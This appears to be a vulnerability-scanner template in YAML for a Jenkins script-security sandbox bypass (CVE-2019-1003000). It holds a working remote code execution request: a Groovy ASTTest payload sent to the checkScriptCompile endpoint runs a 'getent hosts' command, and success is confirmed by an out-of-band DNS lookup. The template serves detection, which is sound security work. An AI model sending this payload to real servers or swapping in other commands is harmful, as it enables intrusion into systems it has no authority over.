Sandbox-bypass-in-Jenkins.yaml

send:
  - method: 'GET'
    url: "/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@groovy.transform.ASTTest(value={%20Runtime.getRuntime().exec('getent%20hosts%20DNS_MARKER')%20})%0Aclass%20Person%20{}"

detect:
  - oob:
    - dns

meta-info:
  - type: rce
  - threat: 88
  - applicable_for:
    - fast
  - tags:
    - Jenkins
    - RCE
    - CVE-2019-1003000